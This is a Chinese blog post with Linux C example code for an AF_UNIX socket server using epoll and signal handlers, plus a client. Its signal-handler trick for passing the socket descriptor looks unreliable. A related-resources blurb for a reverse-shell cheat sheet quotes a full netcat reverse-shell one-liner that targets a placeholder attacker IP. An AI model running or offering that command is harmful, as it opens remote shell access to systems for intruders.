`
lobin
  • 浏览: 417684 次
  • 性别: Icon_minigender_1
  • 来自: 上海
社区版块
存档分类
最新评论

C: Linux C 编程 - AF_UNIX

 
阅读更多

 

#ifndef __SIGNAL__
#define __SIGNAL__
int user_context_setup(int arg);
int signal_setup();
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <ucontext.h>
#include <unistd.h>

void do_exit(int fd)
{  
  if (close(fd) == -1)
  {
    printf("close: err.\n");
  }
  printf("exit.\n");
  exit(0);
}

int ucstoi(stack_t stack)
{
  return *((int *) stack.ss_sp);
}

void on_signal_int_action(int signal, siginfo_t *info, void *ucontext)
{
  ucontext_t *p = (ucontext_t *) ucontext;
  int fd = ucstoi(p->uc_stack);
  printf("signal: num=SIGINT(%d)\n", signal);
  do_exit(fd);
}

void on_signal_term_action(int signal, siginfo_t *info, void *ucontext)
{
  ucontext_t *p = (ucontext_t *) ucontext;
  int fd = ucstoi(p->uc_stack);
  printf("signal: num=SIGTERM(%d)\n", signal);
  do_exit(fd);
}

void on_signal_kill_action(int signal, siginfo_t *info, void *ucontext)
{
  ucontext_t *p = (ucontext_t *) ucontext;
  int fd = ucstoi(p->uc_stack);
  printf("signal: num=SIGKILL(%d)\n", signal);
  do_exit(fd);
}

int createcontext(int arg)
{
  stack_t stack;
  ucontext_t ucontext;

  stack.ss_size = SIGSTKSZ;
  stack.ss_sp = malloc(stack.ss_size);
  stack.ss_flags = 0;

  memcpy(stack.ss_sp, &arg, sizeof(arg));

  if (sigaltstack(&stack, NULL) == -1)
  {
    printf("sig alt stack err.\n");
    return 1;
  }

  ucontext.uc_link = NULL;
  ucontext.uc_stack = stack;
  if (getcontext(&ucontext) == -1) 
  {
    printf("get context err.\n");
    return 1;
  }
  return 0;
}

int setup_signal(int signum, 
  void (*action)(int, siginfo_t *, void *))
{
  struct sigaction on_signal;
  on_signal.sa_sigaction = action;
  on_signal.sa_flags = SA_SIGINFO;
  if (sigaction(signum, &on_signal, NULL) == -1)
  {
    return 1;
  }
  return 0;
}

int signal_setup()
{
  // SIGINT signal
  if (setup_signal(SIGINT, on_signal_int_action))
  {
    printf("setup signal SIGINT err.\n");
    return 1;
  }
  // SIGTERM signal
  if (setup_signal(SIGTERM, on_signal_term_action))
  {
    printf("setup signal SIGTERM err.\n");
    return 1;
  }

  // The signals SIGKILL and SIGSTOP cannot be caught or ignored.
  // SIGKILL signal
  /*
  if (setup_signal(SIGKILL, on_signal_kill_action))
  {
    printf("setup signal SIGKILL err.\n");
    return 1;
  }
  */
  return 0;
}

int user_context_setup(int arg)
{
  if (createcontext(arg))
  {
    printf("create context err.\n");
    return 1;
  }
  return 0;
}

 

#ifndef NT_SOCKET
#define NT_SOCKET
int ftonb(int fd);

int nt_socket();
int nt_socket_s(char *path);

int nt_connect(int fd, char *path);
#endif
#include <stdio.h>
#include <string.h>
#include <errno.h>

#include <sys/types.h>
#include <sys/socket.h>

#include <sys/un.h>

#include <unistd.h>
#include <fcntl.h>

int ftonb(int fd)
{
  int flags = fcntl(fd, F_GETFL);
  if (flags == -1) 
  {
    return 1;
  }
  if (fcntl(fd, F_SETFL, flags | O_NONBLOCK) == -1) 
  {
    return 1;
  }
  return 0;
}

int nt_socket()
{
  int fd;

  fd = socket(AF_UNIX, SOCK_STREAM, 0);
  if (fd == -1)
  {
    return -1;
  }
  return fd;
}

int nt_socket_s(char *path)
{
  struct sockaddr_un sock_addr;
  int fd = nt_socket();
  unlink(path);
  if (fd == -1)
  {
    return -1;
  }

  if(ftonb(fd))
  {
    return -1;
  }

  memset(&sock_addr, 0, sizeof(struct sockaddr_un));
  sock_addr.sun_family = AF_UNIX;
  memcpy(sock_addr.sun_path, path, strlen(path));

  if (bind(fd, (struct sockaddr *) &sock_addr, sizeof(struct sockaddr_un)) == -1) 
  {
    printf("socket: bind err: %d.\n", errno);
    return -1;
  }
  if (listen(fd, 50) == -1) 
  {
    return -1;
  }
  return fd;
}

int nt_connect(int fd, char *path)
{
  struct sockaddr_un sock_addr;

  memset(&sock_addr, 0, sizeof(struct sockaddr_un));
  sock_addr.sun_family = AF_UNIX;
  memcpy(sock_addr.sun_path, path, strlen(path));

  if (connect(fd, (struct sockaddr *) &sock_addr, sizeof(struct sockaddr_un)) == -1)
  {
    return -1;
  }
  return 0;
}
#include <stdio.h>
#include <string.h>

#include <netinet/in.h>  
#include <arpa/inet.h>

#include <unistd.h>

#include <sys/epoll.h>

#include "internal/socket.h"
#include "internal/signal.h"

#define MAX_EPOLL_EVENT_SIZE 16

int main()
{
  int fd;
  int ep_fd;
  struct epoll_event ev, ep_event[MAX_EPOLL_EVENT_SIZE];

  char *sock_path = "./sock";
  fd = nt_socket_s(sock_path);
  if (fd == -1)
  {
    printf("socket: nt_socket_s err.\n");
    return -1;
  }

  user_context_setup(fd);
  signal_setup();

  ep_fd = epoll_create(20000);
  if (ep_fd == -1)
  {
    return 1;
  }
 
  ev.events = EPOLLIN;
  ev.data.fd = fd; 
  if (epoll_ctl(ep_fd, EPOLL_CTL_ADD, fd, &ev) == -1)
  {
    return 1;
  }

  for (;;)
  {
    int num = epoll_wait(ep_fd, ep_event, MAX_EPOLL_EVENT_SIZE, -1);
    if (num == -1)
    {
      printf("epoll: epoll wait err.\n");
    }
    else 
    {
      int i;
      for (i = 0; i < num; i++)
      {
        uint32_t events = ep_event[i].events;
        printf("epoll: events=0x%x on fd=%d\n", events, ep_event[i].data.fd);

        if (ep_event[i].data.fd == fd)
        {
          struct sockaddr_in sock_addr_from;
          int addrlen = sizeof(struct sockaddr_in);
          int fd_got = accept(fd, (struct sockaddr *) &sock_addr_from, &addrlen);
          if (fd_got == -1)
          {
            printf("sock: accept err.\n");
          }
          else
          {
            printf("sock: accepted.\n");
            if (ftonb(fd_got))
            {
              printf("fd: ftonb err.\n");
            }
            
            ev.events = EPOLLIN | EPOLLRDHUP | EPOLLET;
            ev.data.fd = fd_got;
            if (epoll_ctl(ep_fd, EPOLL_CTL_ADD, fd_got, &ev) == -1)
            {
              printf("epoll: epoll ctl err.\n");
            }
          }
        }
        else
        {
          if (events & EPOLLIN)
          {
            char c;
            int nbytes = read(ep_event[i].data.fd, &c, 1);
            if (nbytes == -1)
            {
              printf("read: read err.\n");
            }
            else
            if (nbytes > 0)
            {
              printf("%c", c);

              ep_event[i].events = ep_event[i].events | EPOLLIN | EPOLLOUT | EPOLLRDHUP | EPOLLET;
              if (epoll_ctl(ep_fd, EPOLL_CTL_MOD, ep_event[i].data.fd, &ep_event[i]) == -1)
              {
                printf("epoll: epoll ctl err.\n");
              }
            }
          }
          if (events & EPOLLRDHUP)
          {
            close(ep_event[i].data.fd);
            printf("close: fd=%d\n", ep_event[i].data.fd);
          }
          if (events & EPOLLOUT)
          {
            //printf("write: ok.\n");
          }
        }
      }
    }
  }
}
#include <stdio.h>
#include <string.h>

#include <unistd.h>

#include "internal/socket.h"

int main(int argc, char **argv)
{
  int i;
  int fd = nt_socket();
  char *sock_path = "./sock";
  if (fd == -1)
  {
    return -1;
  }
  if (nt_connect(fd, sock_path) == -1)
  {
    return -1;
  }

  for (i = 1; i < argc; i++)
  {
    write(fd, argv[i], strlen(argv[i]));
  }

  close(fd);
  return 0;
}

 

 

0
3
分享到:
评论

相关推荐

    eclipse-java-2019-09-R-linux-gtk-x86_64.tar.gz

    7. **文件Hash校验**: 描述中提供的SHA256哈希值(18F55219C86FA4FE52F8A1A51B17C4EB99AF6C215D6AF8702555EA82AF83ACAA)是确保文件完整性和未被篡改的一种方法。用户下载文件后,可以通过计算文件的SHA256哈希值并...

    套接字socket编程文档.rar_MultiGet-1.1.4_linux_linux socket_linux 编程_soc

    在IT行业中,套接字(Socket)编程是网络通信的核心技术之一,特别是在Unix/Linux系统中。本文档将深入探讨Linux下的Socket编程,包括基础概念、API接口、多线程及多进程的并发处理,以及MultiGet-1.1.4项目在Linux...

    AF_UNIX域的本地进程通信客户端服务端通信源码

    标题中的“AF_UNIX域的本地进程通信客户端服务端通信源码”指的是在Unix/Linux系统中使用AF_UNIX(也称为AF_LOCAL)套接字协议族进行进程间通信(IPC)的代码实现。这种通信方式适用于同一台机器上的不同进程之间...

    socket总结资料(Linux)

    Socket编程在Linux环境中是网络通信的核心技术之一,主要用于创建进程间的网络连接,允许不同设备上的应用程序进行数据交换。本文将对标题和描述中提到的Socket编程相关知识点进行深入阐述。 一、Socket的基本概念 ...

    linux操作系统下c语言编程入门--网络编程

    ### Linux操作系统下的C语言网络编程入门 随着互联网的迅速发展,网络编程已成为现代软件开发中的一个核心技能。在Linux环境下进行网络编程不仅能够让你更好地理解网络通信的基本原理,还能够帮助你在众多开发者中...

    基于linux unix socket编程源码(C语言/C++)

    本文将深入探讨基于Linux和Unix环境的Socket编程,主要关注C语言实现,以及C++对Socket编程的封装。 首先,Socket是网络通信中的一个抽象概念,它是一个端点,用于两台计算机之间的数据交换。在Unix和Linux系统中,...

    Linux高级编程-补充.pdfLinux高级编程-补充.pdf

    根据提供的文档信息,我们可以归纳出以下关键知识点,主要围绕Linux高级编程中的几个核心概念和技术细节展开。 ### 文件描述符管理 #### 文件描述符的特点 - **文件描述符**:在Unix/Linux系统中,每一个打开的...

    Linux domain sockets 编程.rar_Sockets_linux_linux domain sock_sock

    Linux域套接字(也称为Unix域套接字或本地域套接字)是进程间通信(IPC,Inter-Process Communication)的一种方式,特别适用于在同一台计算机上的不同进程之间进行高效的数据交换。与网络套接字(如TCP或UDP)不同...

    反向壳备忘单::upside-down_face:反向壳备忘单:upside-down_face:

    在Linux或Unix环境中,`nc`(Netcat)是一个常用的工具来创建反向shell。例如: ```bash rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2&gt;&1 | nc attacker_ip 4444 &gt; /tmp/f ``` 这段命令会在受害主机上创建...

    linux网络编程-tcp获取时间

    在Linux系统中,网络编程是实现跨机器通信的关键技术,特别是TCP协议,它提供了一种可靠的、基于连接的传输方式。本示例中,我们有两个文件,一个作为服务器端,另一个作为客户端,它们用于实现通过TCP协议从服务器...

    tcp_udp.rar_LINUX TCP _Linux/Unix编程_TCP UDP Linux_tcp udp 互联网

    在Linux/Unix编程中,创建和操作套接字涉及以下步骤: 1. 创建套接字:使用`socket()`函数创建一个套接字描述符,指定协议族(如AF_INET表示IPv4)和套接字类型(如SOCK_STREAM对应TCP,SOCK_DGRAM对应UDP)。 2. ...

    C++教程网视频:linux网络编程

    ### C++教程网视频:Linux网络编程 #### Linux网络编程之TCP/IP基础篇 ##### TCPIP基础(一) - **ISO/OSI参考模型**:ISO/OSI模型分为七层,分别是物理层、数据链路层、网络层、传输层、会话层、表示层和应用层...

    RAW-socket-caught-procedures.rar_Linux/Unix编程_Unix_Linux_

    RAW套接字(RAW sockets)是网络编程中的一个重要概念,特别是在Linux和Unix系统中。它允许程序员访问网络协议栈的底层,直接处理网络协议的数据包,而无需经过操作系统内核的高层协议处理。这个"RAW-socket-caught-...

    嵌入式Linux网络编程.ppt

    ### 嵌入式Linux网络编程之TCP网络编程基础 #### 一、引言 随着嵌入式技术的发展,越来越多的设备需要通过网络进行通信。在这种背景下,掌握嵌入式Linux下的网络编程变得尤为重要。本篇文章将从嵌入式Linux环境下...

    sip.rar_Linux/Unix编程_Unix_Linux_

    在Unix或Linux环境下,C语言是最常用的语言,因为它的效率高且系统级编程接口丰富。通过阅读和分析这个项目,我们可以学习到如何在操作系统层面处理网络套接字、解析和构建SIP消息、管理会话状态等核心概念。 在...

    linuxsocketprogram.rar_Linux/Unix编程_Unix_Linux_

    在IT领域,Linux/Unix系统是许多服务器和嵌入式设备的基础,而Socket编程则是实现网络通信的核心技术。本文档“linuxsocket编程.docx”针对Linux/Unix平台提供了一个详尽的Socket编程实例,旨在帮助初学者理解并掌握...

    Linux下用c语言实现发送http请求

    在Linux环境下利用C语言实现HTTP请求的发送是一个深入理解网络编程和HTTP协议的好机会。本文将根据提供的代码片段,详细解析如何在Linux下使用C语言实现HTTP请求的发送,包括必要的头文件、函数定义以及主函数中的...

    Linux网络编程中IP地址的处理

    ### Linux网络编程中IP地址的处理 #### 一、引言 Linux因其强大的网络服务能力而闻名,特别是其TCP/IP协议栈的高度成熟性。Linux的网络功能借鉴了FreeBSD的实现,支持高级别的Sockets(套接字)和TCP/IP协议。在...

Global site tag (gtag.js) - Google Analytics